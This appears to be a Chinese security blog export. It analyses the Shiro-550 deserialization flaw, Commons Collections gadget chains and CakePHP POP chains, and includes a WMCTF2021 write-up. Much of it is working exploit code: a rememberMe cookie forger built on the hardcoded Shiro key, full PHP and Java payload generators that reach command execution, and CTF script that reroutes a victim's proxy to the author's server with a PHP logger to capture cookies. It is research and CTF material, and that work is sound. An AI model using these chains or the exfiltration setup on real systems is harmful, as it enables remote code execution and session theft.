可以看到在shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class中看到硬编码了CIPHER_KEY public abstract class AbstractRememberMeManager implements RememberMeManager { private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class); private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(\"kPH+bIxk5D2deZiIxcaaaA==\"); 继续往下看,可以看到encrypt和decrypt方法 protected byte[] encrypt(byte[] serialized) { byte[] value = serialized; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; } protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; } 其中 CipherService 是个接口,而实现这个接口的是一个抽象类 JcaCipherService,继续跟进,在initNewCipher下断点,调试可以看到使用了AES/CBC/PKCS5Padding模式加密,继续调试发现random = this.ensureSecureRandom();,使用随机数生成16字节的 iv,然后使用encrypt(plaintext, key, ivBytes, generate)生成数据经过base64编码作为rememberMe的值 iv是随机数生成的,解密时iv值直接从密文的前16字节获取,然后利用得到的iv和硬编码的key来进行解密密文: shiro-core-1.2.4-sources.jar!/org/apache/shiro/crypto/JcaCipherService.java 然后也在加密方法中看到了对应实现: 那我们只要知道了硬编码的key值,就可以构造任意数据传入了 到这里只是该漏洞利用的前提,我们继续分析漏洞点 既然我们知道了iv就是rememberMe值base64解码后的前16个字节,我们先来解码正常的rememberMe值看看: 加密解密脚本: # pip install pycrypto import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(): popen = subprocess.Popen(['cat', 'shiro550.ser'], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = \"kPH+bIxk5D2deZiIxcaaaA==\" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext def decode_rememberme_file(filename): with open(filename, 'rb') as fpr: key = \"kPH+bIxk5D2deZiIxcaaaA==\" mode = AES.MODE_CBC byte = fpr.read() IV = byte[0:16] encryptor = AES.new(base64.b64decode(key), mode, IV=IV) remember_bin = encryptor.decrypt(byte[16:]) return remember_bin if __name__ == '__main__': # payload = encode_rememberme() # with open(\"cookie.txt\", \"w\") as fpw: # print(\"rememberMe={}\".format(payload.decode()), file=fpw) with open(\"decode\", 'wb+') as fpw: fpw.write(decode_rememberme_file(\"encode\")) 可以看到明显的aced序列化流的标识,所以分析到这里可以猜测,rememberMe的值存储的是序列化数据,有序列化就一定有反序列化操作,接下来看看后端接收到rememberMe值后对其进行的操作 在shiro-core-1.2.4-sources.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.java的getRememberedPrincipals函数,对rememberMe值进行操作,在这里下断点调试 一步步跟进,经过解密操作然后进入到了shiro-core-1.2.4-sources.jar!/org/apache/shiro/io/DefaultSerializer.java的deserialize方法 看见了readObject对数据进行反序列化操作 前面我们知道加密解密过程可控,所以我们可以控制序列化数据,利用反序列化进行恶意操作 但是有了反序列化点,我们还得找到可以利用的链 ","date":"2021-09-08","objectID":"/shiro_550_analysis/:4:0","tags":["Java","shiro"],"title":"Shiro-550漏洞分析(CVE-2016-4437)","uri":"/shiro_550_analysis/"},{"categories":["Vulnerability Analysis"],"content":"无cc依赖 前文在环境搭建部分我提到了添加 commons-collections-3.2.1 库是为了方便演示有依赖的反序列化RCE,实际上原生shiro是不依赖 commons-collections 库的,但是用到了 commons-beanutils 库 把pom.xml中 commons-collections 的依赖配置去掉,重新打包环境 参考phith0n的文章可以知道一条无cc依赖的cbu链可以打原生shiro组件,原文讲的很详细 在shiro中,它的 commons-beanutils 虽然包含了一部分 commons-collections 的类,但是不全,shiro正常使用得以满足,但是我们利用反序列化链用到的类部分不存在 所以直接利用 ysoserial 里的cbu链打,会爆出org.apache.commons.collections.comparators.ComparableComparator不存在,但是我们可以找到一个替代品,CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了Comparator和Serializable,且位于Java的核心代码中,兼容性强 构造新的cbu链,此时就可以直接打没有commons-collections库的shiro组件了 ","date":"2021-09-08","objectID":"/shiro_550_analysis/:4:1","tags":["Java","shiro"],"title":"Shiro-550漏洞分析(CVE-2016-4437)","uri":"/shiro_550_analysis/"},{"categories":["Vulnerability Analysis"],"content":"有cc依赖 另外值得我们注意的是,当shiro组件存在 commons-collections:4.0 依赖时,我们可以直接利用 ysoserial 的 CommonsCollections2 利用链,这是因为CommonsCollections2用的是非数组形式的利用链,在该利用链上没有出现数组类型的对象,这使得在shiro的环境下,可以正确执行命令 shiro组件不能出现数组形式的利用链原因是 shiro resovleClass 使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class,具体分析可以参考wh1t3p1g的博客 因为不能使用数组形式,之前在commons-collections:3.2.1下可以利用的链都失效了,但是我们可以想到后半段可以不使用ChainedTransformer构造,利用cc3中分析提到的TemplatesImpl.newTransformer函数来动态loadClass构造好的恶意class字节码,这样可以绕过使用数组类型的对象 wh1t3p1g师傅已经详细描述了触发TemplatesImpl.newTransformer的方法,我将会在cc链分析文章中对其进行分析,这里就不再过多叙述了,参考:https://blog.0kami.cn/2019/11/10/java/study-java-deserialized-shiro-1-2-4/ 当然在有cc依赖的情况下我们还可以使用 ysoserial 里的cbu链 ","date":"2021-09-08","objectID":"/shiro_550_analysis/:4:2","tags":["Java","shiro"],"title":"Shiro-550漏洞分析(CVE-2016-4437)","uri":"/shiro_550_analysis/"},{"categories":["Vulnerability Analysis"],"content":"Reference https://blog.knownsec.com/2016/08/apache-shiro-java/ https://blog.0kami.cn/2019/11/10/java/study-java-deserialized-shiro-1-2-4/ https://blog.zsxsoft.com/post/35 https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html ","date":"2021-09-08","objectID":"/shiro_550_analysis/:5:0","tags":["Java","shiro"],"title":"Shiro-550漏洞分析(CVE-2016-4437)","uri":"/shiro_550_analysis/"},{"categories":["Writeup"],"content":"WMCTF2021失之交臂的一道题,蛮有意思的 ","date":"2021-09-08","objectID":"/scientific_adfree_networking/:0:0","tags":["SSRF","XSS"],"title":"[WMCTF2021]Scientific_adfree_networking","uri":"/scientific_adfree_networking/"},{"categories":["Writeup"],"content":"scientific_adfree_networking 打开一个blog,有一条需要登录才可见的Note to self(secret!) 然后看了一下其他信息,简单来说就是tom使用了clash进行屏蔽广告,/static/files/clash.conf可以下载到他使用的配置文件,里面只有屏蔽规则,没有配置代理 然后report路由可以给tom发信息,tom会去看(后面打了半天,客服才说每看完一个请求都会重启clash,然后才把多次请求写在一起) 想了一下这里应该没法xsleak,看他专门描述开了clash,就想能不能控制修改clash的配置文件(看配置文件的时候看到有个external controller API是可控的),然后代理到vps看能不能拿tom的cookie 然后找可控点的时候看到了logout路由可以进行跳转 于是可以控制一下xhr,打external controller API进行修改,看了一下api文档: https://clash.gitbook.io/doc/restful-api 除了configs路由的PUT可以控制path重新加载配置文件,没啥可用的 然后就去撕源码,发现同一个路由下居然还有个payload参数可以控制,直接从传输的字节加载配置文件: https://github.com/Dreamacro/clash/blob/47044ec0d81dc0dc92a2dafc834f2b658177dee8/hub/route/configs.go#L112 然后就直接修改配置文件使用http代理,代理到vps上,后来发现并没有什么卵用 一开始直接nc监听,但是它会先用CONNECT请求判断是否连接成功,所以得伪造一个真代理随便代理到哪都行,然后vps还配置了host防止它请求失败: 127.0.0.1 blog.tomswebsite.com 但是它第二次http请求打过来还是没有cookie。。 然后又去看源码找了一下可控文件的地方,api给出的就只有configs的path那个可以控制绝对路径加载配置文件,加载其他文件可以报错泄漏4 5个字符 还有配置文件中proxy-providers的配置,也是指定路径加载配置文件,详细配置: https://github.com/Dreamacro/clash/wiki/configuration 请求脚本: import hashlib import random import requests import re path = \"logout?next=http://159.75.82.124:9001/1.html\" body = \"a\" s = requests.Session() report_url=\"http://eci-2zeawo463qlngdj4qxbv.cloudeci1.ichunqiu.com:8888/report\" # proxies = {\"http\" : \"http://127.0.0.1:8080\"} index = s.get(report_url) gettoken = re.search(r\"(==)(.*?)(\u003cinput)\",index.text) token = gettoken.group(2) for i in range(1, 10000001): a = hashlib.md5(('WMCTF_'+str(i)).encode()).hexdigest()[:6] if a == token: print('WMCTF_'+str(i)) break data = { \"title\": path, \"body\": body, \"captcha\": 'WMCTF_'+str(i) } resp = s.post(index.url,data=data) gettoken = re.search(r\"(class=\\\"flash\\\"\u003e)(.*?)(\u003c/div\u003e)\",resp.text) result = gettoken.group(2) print(result) xhr: \u003cscript\u003e var xhr1; var xhr2; var xhr3; var xhr4; xhr1=new XMLHttpRequest(); xhr1.open(\"PUT\",\"http://127.0.0.1:9090/configs\",false); xhr1.setRequestHeader('Content-Type','application/json') xhr1.send(`{\"payload\":\"mixed-port: 1080\\\\nallow-lan: false\\\\nmode: Rule\\\\nlog-level: silent\\\\nexternal-controller: '127.0.0.1:9090'\\\\nproxies:\\\\n - name: \\\\\"test\\\\\"\\\\n type: http\\\\n server: 159.75.82.124\\\\n port: 19000\\\\nproxy-groups:\\\\n - name: \\\\\"group1\\\\\"\\\\n type: select\\\\n proxies:\\\\n - test\\\\nrules:\\\\n - DOMAIN-SUFFIX,blog.tomswebsite.com,group1\\\\n - IP-CIDR,127.0.0.0/8,group1\"}`); xhr2=new XMLHttpRequest(); xhr2.open(\"GET\",\"http://blog.tomswebsite.com:8888/report\",false); xhr2.send(); // xhr3=new XMLHttpRequest(); // xhr3.open(\"GET\",\"http://127.0.0.1:9090/configs\",false); // xhr3.send(); // xhr4=new XMLHttpRequest(); // xhr4.open(\"GET\",\"http://159.75.82.124:9001/\"+xhr3.responseText,false); // xhr4.send(); \u003c/script\u003e \u003c?php function em_getallheaders() { $headers = []; foreach ($_SERVER as $name =\u003e $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $headers; } $headers = em_getallheaders(); file_put_contents(\"headers.txt\", var_export($headers,true).\"\\n\", FILE_APPEND | LOCK_EX); ?\u003e 以上是比赛时的做题记录,当时光顾着看代理服务接收请求的cookie了,没注意代理后的流量emmm,还觉得后续可能没那么简单,肝了一下午后没有再看这道题了 实际上代理转发后的流量是带了cookie的,获取到cookie然后解码登录admin拿到flag ","date":"2021-09-08","objectID":"/scientific_adfree_networking/:1:0","tags":["SSRF","XSS"],"title":"[WMCTF2021]Scientific_adfree_networking","uri":"/scientific_adfree_networking/"},{"categories":["Notes"],"content":"最近网上公开了cakephp一些反序列化链的细节,但是没有公开poc,并且网上关于cakephp的反序列化链比较少,于是自己跟一下 ,构造pop链。 ","date":"2021-09-01","objectID":"/cakephp_3.x_4.x_unserialize/:0:0","tags":["code_audit","unserialize"],"title":"CakePHP 3.x/4.x 反序列化分析","uri":"/cakephp_3.x_4.x_unserialize/"},{"categories":["Notes"],"content":"3.x ≤ 3.9.6 入口位于vendor\\symfony\\process\\Process.php的__destruct方法 在一些老版本中,__destruct方法是这样的: 跟进stop方法: 跟进isRunning方法: $this-\u003estatus可控,可以继续进入updateStatus方法,让其等于\"started\"即可 继续跟进readPipes方法: 发现$this-\u003eprocessPipes可控且调用readAndWrite方法,这样就我们可以调用任意类的__call方法 全局搜索,找到vendor\\cakephp\\cakephp\\src\\ORM\\Table.php有合适的__call方法: 这里的$this-\u003e_behaviors也可控,到这里我们就可以调用任意类的call方法了 继续寻找,在vendor\\cakephp\\cakephp\\src\\ORM\\BehaviorRegistry.php找到了合适的call方法: 这里就可以调用任意类的任意方法了,但是参数不可控 再来看看进入call_user_func_array的条件: 这里的$method就是之前触发__call的readAndWrite方法 跟进hasMethod方法,$this-\u003e_methodMap可控,所以可以使其返回true 再来看看has方法,是在父类ObjectRegistry中定义的,$this-\u003e_loaded也可控 所以条件成立,可以利用回调函数调用任意方法 接下来找到不需要参数的合适方法: 位于vendor\\cakephp\\cakephp\\src\\Shell\\ServerShell.php的main方法 执行的命令由可控参数$this-\u003e_host、$this-\u003e_port等拼接而成,我们可以利用分号进行命令注入 但是由于前面的php -S命令,在windows下没有php环境变量可能无法利用 在执行命令之前,还得先让两个$this-\u003eout方法正常返回,否则会报错退出 一路跟进来到vendor\\cakephp\\cakephp\\src\\Console\\ConsoleIo.php 这里的$level为1,我们只需要让$this-\u003e_level小于1即可使其返回true 到这里就可以执行系统命令了 poc: \u003c?php namespace Cake\\Core; abstract class ObjectRegistry { public $_loaded = []; } namespace Cake\\ORM; class Table { public $_behaviors; } use Cake\\Core\\ObjectRegistry; class BehaviorRegistry extends ObjectRegistry { public $_methodMap = []; protected function _resolveClassName($class){} protected function _throwMissingClassError($class, $plugin){} protected function _create($class, $alias, $config){} } namespace Cake\\Console; class Shell { public $_io; } class ConsoleIo { public $_level; } namespace Cake\\Shell; use Cake\\Console\\Shell; class ServerShell extends Shell { public $_host; protected $_port = 0; protected $_documentRoot = \"\"; protected $_iniPath = \"\"; } namespace Symfony\\Component\\Process; use Cake\\ORM\\Table; class Process { public $processPipes; } $pop = new Process([]); $pop-\u003estatus = \"started\"; $pop-\u003eprocessPipes = new Table(); $pop-\u003eprocessPipes-\u003e_behaviors = new \\Cake\\ORM\\BehaviorRegistry(); $pop-\u003eprocessPipes-\u003e_behaviors-\u003e_methodMap = [\"readandwrite\"=\u003e[\"servershell\",\"main\"]]; $a = new \\Cake\\Shell\\ServerShell(); $a-\u003e_io = new \\Cake\\Console\\ConsoleIo(); $a-\u003e_io-\u003e_level = 0; $a-\u003e_host = \";open /System/Applications/Calculator.app;\"; $pop-\u003eprocessPipes-\u003e_behaviors-\u003e_loaded = [\"servershell\"=\u003e$a]; echo base64_encode(serialize($pop)); ","date":"2021-09-01","objectID":"/cakephp_3.x_4.x_unserialize/:0:1","tags":["code_audit","unserialize"],"title":"CakePHP 3.x/4.x 反序列化分析","uri":"/cakephp_3.x_4.x_unserialize/"},{"categories":["Notes"],"content":"3.x某些版本、4.x ≤ 4.2.3 4.x版本前半部分的整体思路和3.x基本一样,部分代码有变动 4.x版本ServerShell类修改了,没有之前一样好用的方法了 寻找新的调用链: 在vendor\\cakephp\\cakephp\\src\\Database\\Statement\\CallbackStatement.php 这里有动态调用,方法名可控,参数$row通过$this-\u003e_statement-\u003efetch($type)获得 于是寻找可用的fetch方法 在vendor\\cakephp\\cakephp\\src\\Database\\Statement\\BufferedStatement.php有合适的方法: 这里$this-\u003ebuffer、$this-\u003eindex、$this-\u003e_allFetched参数均可控,可以返回我们指定的$row值 于是可以达成任意方法执行,直接指定system执行系统命令 poc: \u003c?php namespace Cake\\Core; abstract class ObjectRegistry { public $_loaded = []; } namespace Cake\\ORM; class Table { public $_behaviors; } use Cake\\Core\\ObjectRegistry; class BehaviorRegistry extends ObjectRegistry { public $_methodMap = []; protected function _resolveClassName(string $class): ?string{ return $class; } protected function _throwMissingClassError(string $class, ?string $plugin): void{} protected function _create($class, $alias, $config){} } namespace Cake\\Database\\Statement; class StatementDecorator { public $_statement; } class CallbackStatement extends StatementDecorator { public $_callback; } class BufferedStatement { public $_allFetched; public $buffer = []; protected $index = 0; } namespace Symfony\\Component\\Process; use Cake\\ORM\\Table; class Process { public $processPipes; } $pop = new Process([]); $pop-\u003estatus = \"started\"; $pop-\u003eprocessPipes = new Table(); $pop-\u003eprocessPipes-\u003e_behaviors = new \\Cake\\ORM\\BehaviorRegistry(); $pop-\u003eprocessPipes-\u003e_behaviors-\u003e_methodMap = [\"readandwrite\"=\u003e[\"callbackstatement\",\"fetch\"]]; $a = new \\Cake\\Database\\Statement\\CallbackStatement($statement, $driver,\"\"); $a-\u003e_callback = \"system\"; $a-\u003e_statement = new \\Cake\\Database\\Statement\\BufferedStatement($statement, $driver); $a-\u003e_statement-\u003e_allFetched = true; $a-\u003e_statement-\u003ebuffer = [\"open /System/Applications/Calculator.app\"]; $pop-\u003eprocessPipes-\u003e_behaviors-\u003e_loaded = [\"callbackstatement\"=\u003e$a]; echo base64_encode(serialize($pop)); ","date":"2021-09-01","objectID":"/cakephp_3.x_4.x_unserialize/:0:2","tags":["code_audit","unserialize"],"title":"CakePHP 3.x/4.x 反序列化分析","uri":"/cakephp_3.x_4.x_unserialize/"},{"categories":["Vulnerability Analysis"],"content":"来分析分析cc链… Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象 通过接口实现查询,能获取到 ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 这些类均实现了 Transformer接口 官网:http://commons.apache.org/proper/commons-collections/ Github:https://github.com/apache/commons-collections 作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。 ","date":"2021-09-01","objectID":"/commons_collections_analysis/:0:0","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"CommonsCollections1 **环境:**JDK1.7、commons-collections-3.1-3.2.1 漏洞点存在于 commons-collections-3.1-src.jar: /org/apache/commons/collections/functors/InvokerTransformer.java 在 InvokerTransformer 类的transform方法中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法 接下来我们需要利用反射调用恶意方法比如命令执行:Runtime.getRuntime().exec 但是得想办法构造出反射调用,类似下面的方式: import java.io.IOException; public class ExecuteCMD { public static void main(String [] args) throws IOException{ // 普通命令执行 Runtime.getRuntime().exec(new String [] { \"deepin-calculator\" }); // 通过反射执行命令 try{ Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke( Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(Class.forName(\"java.lang.Runtime\")), new String [] { \"deepin-calculator\" } ); } catch(Exception e) { e.printStackTrace(); } } } 所以我们需要找到一处可以循环调用 transform 方法的地方来构造反射链 在commons-collections-3.1.jar!/org/apache/commons/collections/functors/ChainedTransformer.class中有合适的transform方法,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法 所以我们可以构造上文提到的反射调用链,将 ChainedTransformer 的 Transformer 属性按照如下构造: Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\", new Class[] { String.class, Class[].class }, new Object[] { \"getRuntime\", new Class[0] }), new InvokerTransformer(\"invoke\", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(\"exec\", new Class[] { String.class }, new Object[] { \"open /System/Applications/Calculator.app\" }) }; 数组第一个的ConstantTransformer 类执行 transform 方法后,会返回一个构造对象时传入的参数,在这里就是 Runtime.class 在构造好这些后,我们现在需要寻找可以调用 ChainedTransformer.transform() 方法的类 网上公开的主要有两条链: TransformedMap 和 LazyMap 这两个利用链 ysoserial中的cc1使用的是**LazyMap类,**调用链为: sun.reflect.annotation.AnnotationInvocationHandler.readObject() -\u003e memberValues.entrySet() -\u003e AnnotationInvocationHandler.invoke() -\u003e memberValues.get() =\u003e LazyMap.get() -\u003e factory.transform() =\u003e ChainedTransformer.transform() -\u003e 反射构造Runtime.getRuntime().exec() 使用 TransformedMap类的调用链为: sun.reflect.annotation.AnnotationInvocationHandler.readObject() -\u003e memberValue.setValue() =\u003e TransformedMap.setValue() =\u003e TransformedMap.checkSetValue() -\u003e valueTransformer.transform() =\u003e ChainedTransformer.transform() -\u003e 反射构造Runtime.getRuntime().exec() ","date":"2021-09-01","objectID":"/commons_collections_analysis/:1:0","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"LazyMap LazyMap是Commons-collections 3.1提供的一个工具类,是Map的一个实现,主要的内容是利用工厂设计模式,在用户get一个不存在的key的时候执行一个方法来生成Key值,当且仅当get行为存在的时候Value才会被生成。 LazyMap测试代码,在get一个不存在的key的时候执行一个方法来生成Key值,下面的代码运行结果会调用transform()输出”leon”: public class Test{ public static void main(String[] args) throws Exception { Map targetMap = LazyMap.decorate(new HashMap(), new Transformer() { public Object transform(Object input) { return \"leon\"; } }); System.out.println(targetMap.get(\"hhhhhhhh\")); } } 继续看调用链,在 LazyMap:get() 中发现调用了 transform 方法,且前面的 factory 可控,只需将factory 设置为 ChainedTransformer 即可触发ChainedTransformer.transform(),所以我们继续搜下哪里调用了这个 get 方法 调用示意图: 在 AnnotationInvocationHandler 类的 invoke 方法中,我们可以看到有 get() 方法调用,且 this.memberValues 可控,将memberValues设置为LazyMap,这样就可以成功触发memberValues.get() =\u003e LazyMap.get() 调用示意图: 我们知道Proxy动态代理机制下被代理的类通过调用动态代理处理类(InvocationHandler)的invoke方法获取方法执行结果,通过动态代理,我们就可以触发这个 invoke 方法 所以我们可以利用Proxy动态代理AnnotationInvocationHandler,触发它的 invoke 方法,进而达成后续的调用链: AnnotationInvocationHandler.invoke() -\u003e memberValues.get() =\u003e LazyMap.get() -\u003e factory.transform() =\u003e ChainedTransformer.transform() -\u003e 反射构造Runtime.getRuntime().exec() 然后我们回到反序列化的触发处:AnnotationInvocationHandler.readObject() readObject方法调用了memberValues.entrySet函数,在动态代理下会先调用invoke函数,最终达成了完整的利用链: public class CC1_LazyMap { public static Object generatePayload() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\", new Class[] { String.class, Class[].class }, new Object[] { \"getRuntime\", new Class[0] }), new InvokerTransformer(\"invoke\", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(\"exec\", new Class[] { String.class }, new Object[] { \"open /System/Applications/Calculator.app\" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put(\"value\", \"leon\"); //factory.transform() =\u003e ChainedTransformer.transform() Map outmap = LazyMap.decorate(innermap,transformerChain); //通过反射获得AnnotationInvocationHandler类对象 Class cls = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\"); //通过反射获得cls的构造函数 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); //这里需要设置Accessible为true,否则序列化失败 ctor.setAccessible(true); //通过newInstance()方法实例化对象 InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap); Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler); Object instance = ctor.newInstance(Retention.class, mapProxy); return instance; } public static void main(String[] args) throws Exception { payload2File(generatePayload(),\"obj\"); } public static void payload2File(Object instance, String file) throws Exception { //将构造好的payload序列化后写入文件中 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file)); out.writeObject(instance); out.flush(); out.close(); } } ","date":"2021-09-01","objectID":"/commons_collections_analysis/:1:1","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"TransformedMap 同样的,先找能可控调用ChainedTransformer.transform() 方法的类,该类中有3个方法均调用了 transform(),分别是 transformKey()、transformValue()、checkSetValue() ,且类名均可控: 接下来我们需要寻找重载了readObject方法的类且该readObject方法调用了上述其中之一可以触发调用 transform() 的方法,这样就可以构成完整的反序列化rce链 transformKey() 和 transformValue() 在put公开方法中可以可控调用,但是寻找readObject方法中调用了的条件比较苛刻 再看checkSetValue() 方法,注释说当调用该类的 setValue方法时,会自动调用 checkSetValue 方法,该类 setValue 方法继承自父类的AbstractInputCheckedMapDecorator ,我们看其父类代码: 一直跟进发现最终调用了 Map.setValue() 方法,所以现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链,相对于寻找 TransformedMap.put() 方法方便了许多。 我们可以在 AnnotationInvocationHandler 类的 readObject 方法中看到 setValue 方法的调用: 但是得先通过if判断,其中需要关注的就是 clazz、object 两个变量的值。实际上, clazz 的值只与 this.type 有关; object 只与 this.memberValues 有关,所以我们转而关注构造函数: 在构造函数中,程序要求我们传入的第一个参数必须继承 java.lang.annotation.Annotation 接口。而在 Java 中,所有的注解实际上都继承自该接口,所以我们第一个变量传入一个JDK自带注解,这样第二个 Map 类型的变量也可以正常赋值 实际上,并不是将 this.type设置成任意注解类都能执行 **POC,**参考七月火师傅的结论: 网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Retention、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素。而注解类方法返回类型将是 clazz 的值。 最后poc如下: public class CC1_TransformedMap { public static Object generatePayload() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\", new Class[] { String.class, Class[].class }, new Object[] { \"getRuntime\", new Class[0] }), new InvokerTransformer(\"invoke\", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(\"exec\", new Class[] { String.class }, new Object[] { \"open /System/Applications/Calculator.app\" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put(\"value\", \"leon\"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); //通过反射获得AnnotationInvocationHandler类对象 Class cls = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\"); //通过反射获得cls的构造函数 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); //这里需要设置Accessible为true,否则序列化失败 ctor.setAccessible(true); //通过newInstance()方法实例化对象 Object instance = ctor.newInstance(Retention.class, outmap); return instance; } public static void main(String[] args) throws Exception { payload2File(generatePayload(),\"obj\"); } public static void payload2File(Object instance, String file) throws Exception { //将构造好的payload序列化后写入文件中 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file)); out.writeObject(instance); out.flush(); out.close(); } } ","date":"2021-09-01","objectID":"/commons_collections_analysis/:1:2","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"CommonsCollections3 **环境:**JDK1.7、commons-collections-3.1-3.2.1 CommonsCollections3的前半段触发的利用链跟CommonsCollections1是一样的,主要对后半段进行分析 TemplatesImpl TemplatesImpl 类位于com.sun.org``.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化,我们来看一下漏洞触发点。 首先我们注意到该类中存在一个成员属性 _class,是一个 Class 类型的数组,数组里下标为_transletIndex 的类会在 getTransletInstance() 方法中使用 newInstance() 实例化。 newTransformer() 方法调用了 getTransletInstance() 方法: 其中 defineTransletClasses() 在 getTransletInstance() 中,如果 _class 不为空即会被调用: 可以看到其中调用了defineClass函数,这里简单介绍一下: public class StaticBlockTest { } public class Cracker { public static byte[] generate(){ try { String code = \"{java.lang.Runtime.getRuntime().exec(\\\"open /System/Applications/Calculator.app\\\");}\"; ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(StaticBlockTest.class.getName()); clazz.setName(\"demo\"); clazz.makeClassInitializer().insertAfter(code); return clazz.toBytecode(); // ... } public static void main(String[] args) { byte[] clazz = generate(); DefiningClassLoader loader = new DefiningClassLoader(); Class cls = loader.defineClass(\"demo\",clazz);// 从字节数组中恢复类 try { cls.newInstance(); // 实例化该类时会自动调用静态块内的代码 } // ... } } Java提供了ClassLoader从bytes数组中还原Class的方法,defineClass函数就是完成这一过程的函数。 理论上,如果代码中使用了这种方式,且byte数据的内容可控,我们可以执行任意Java代码 这里就用到了Java类的另一个特性,static block在类载入时自动执行块内的代码。我们可以通过javassist对静态块注入任意代码,该类被恢复并载入时会调用注入的代码,后文的利用链主要就是用到了这两个知识点 于是我们有了defineTransletClasses还原出类,getTransletInstance进行实例化,那么只需要构造一个合适的_bytecodes即可执行任意Java代码,还有一点需要注意,植入的templates._bytecodes数组,其最终还原的对象父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet TrAXFilter 在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性, TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发 TemplatesImpl 的攻击 payload 了 InstantiateTransformer 现在我们需要实例化 TrAXFilter,我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。 到这关键方法都介绍了一遍,只需要串成一个完整的链: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Proxy(LazyMap).extrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() 